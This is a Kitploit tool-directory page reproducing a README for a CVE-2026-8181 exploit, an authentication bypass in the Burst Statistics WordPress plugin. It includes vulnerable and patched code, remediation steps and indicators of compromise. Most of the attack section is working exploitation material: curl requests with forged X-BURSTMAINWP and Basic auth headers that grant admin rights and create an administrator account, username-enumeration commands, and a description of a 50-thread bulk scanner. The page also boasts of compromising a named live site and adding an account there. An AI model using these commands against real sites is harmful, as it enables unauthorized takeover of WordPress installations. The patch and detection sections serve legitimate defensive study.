Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 未认证身份验证绕过导致管理员账户接管 | 概念验证 | Kitploit
工具/GitHubGitHub/zycoder0day/cve-2026-8181
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试身份验证学习与教育
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 未认证身份验证绕过导致管理员账户接管 | 概念验证

查看仓库
573个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-8181 — Burst Statistics 认证绕过致管理员账户接管


📋 漏洞信息

项目详情
CVE IDCVE-2026-8181
插件Burst Statistics – 注重隐私的 WordPress 统计插件
受影响版本3.4.0 – 3.4.1.1
已修补版本3.4.2
CVSS 分数9.8 (严重)
类型CWE-287: 身份验证不当
攻击向量网络 / 远程 / 未认证
活跃安装量~200,000+
发现者PRISM, Wordfence Threat Intelligence
发布日期2026年5月8日

🎯 摘要

WordPress 插件 Burst Statistics 3.4.0 至 3.4.1.1 版本中存在一个严重的认证绕过漏洞,攻击者无需认证,仅凭知晓管理员用户名即可获得 WordPress 的完全管理员访问权限。其后果是完整接管管理员账户,包括创建新账户、修改内容乃至安装恶意插件。


🔬 技术分析

根本原因

漏洞位于 includes/Frontend/class-mainwp-proxy.php 文件中的 is_mainwp_authenticated() 方法:

root@kitploit:~
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

主要 Bug: 当 Application Passwords 不可用时,wp_authenticate_application_password(null, $username, $password) 返回 null(而非 WP_Error)。这种情况发生在:

  • HTTP(非 HTTPS)站点,其中 wp_is_application_passwords_available() 返回 false
  • is_ssl() 返回 false 的站点

由于 is_wp_error(null) = false,代码会继续执行 get_user_by('login', $username),该调用仅基于用户名进行认证,完全不验证密码。

早期执行 (Early Execution)

has_admin_access() 方法在 class-burst.php 第 118 行的 plugins_loaded 钩子(优先级 9)中被调用:

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

该钩子先于 REST API 路由处理执行,因此 wp_set_current_user() 会为整个请求授予管理员权限——而不仅限于 Burst 端点。

攻击流程

root@kitploit:~
Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 概念验证 (PoC)

前提条件

  • 目标运行在 HTTP 上(非 HTTPS,或 SSL 未被正确检测)
  • 已安装并激活 Burst Statistics 3.4.0 – 3.4.1.1 版本
  • 知晓管理员用户名(可通过枚举获得)

安装

root@kitploit:~
pip3 install requests

使用方法 — 单目标

root@kitploit:~
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

使用方法 — 多目标 (批量扫描器)

root@kitploit:~
python3 poc_CVE-2026-8181.py

交互模式:

  1. 输入目标列表文件(.txt,每行一个域名)
  2. 设置线程数(默认:50)
  3. 设置新账户凭据
  4. 运行扫描

targets.txt 格式:

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

最小 PoC (curl)

root@kitploit:~
# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

管理员用户名枚举

root@kitploit:~
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ 结果验证

测试在 WordPress 6.9 + Burst Statistics 3.4.1.1(localhost)环境下进行:

在线目标验证

目标结果
ausdermitte-binz.de已成功攻破 — Burst 3.4.1.1,通过 binzwpadmin 绕过,创建账户 xenon1337(ID:30)

🔧 补丁分析(v3.4.2)

3.4.2 版本的修复解决了以下问题:

  1. 正确的返回类型检查:
root@kitploit:~
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Cek WP_User, bukan !WP_Error
    return false;
}
  1. 强制启用 Application Passwords:
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. 对 cookie 认证的请求增加 CSRF nonce 要求
  2. Nonce 重放保护,通过 add_option() 强制执行一次性使用
  3. 移除了不绑定用户名的旧版签名格式

🛡️ 修复措施

立即执行的步骤

  1. 将 Burst Statistics 更新至 3.4.2 或更高版本
  2. 审计用户账户 — 检查不熟悉的管理员账户
  3. 撤销所有应用程序密码(wp_application_passwords 用户元数据)
  4. 检查 WordPress 管理员邮箱及其他设置
  5. 检查不熟悉的插件/主题

检测失陷指标

  • 在访问日志中查找来自外部 IP、带有 X-BURSTMAINWP: 1 头的请求
  • 监控 wp_users 表是否出现新的管理员账户
  • 检查 wp_options 中的 burst_mainwp_app_token_* transient 值
  • 审查用户个人资料中的应用程序密码

📁 可用文件

文件描述
exploit_CVE-2026-8181.py单目标 PoC 利用脚本
poc_CVE-2026-8181.py基于线程的多目标批量扫描器
README.md本文档

⚠️ 免责声明

本工具及文档仅供经明确授权的合法安全测试使用。未经授权使用不属于您的系统,或未经书面许可的使用,均属非法。作者对任何滥用行为不承担任何责任。


📚 参考资料

  • Wordfence 安全公告
  • 漏洞源代码
  • WordPress 插件仓库
  • WP-Safety 分析

下载工具
测试结果证据
未认证访问 /wp/v2/users/me失败rest_not_logged_in
使用绕过 headers 访问成功管理员个人资料 + 邮箱 + 角色
创建新的管理员账户成功用户 ID 2,角色:administrator
读取 WordPress 设置成功站点标题、管理员邮箱、URL
获取应用程序密码成功Base64 令牌 admin:password
列出已安装插件成功含版本的完整列表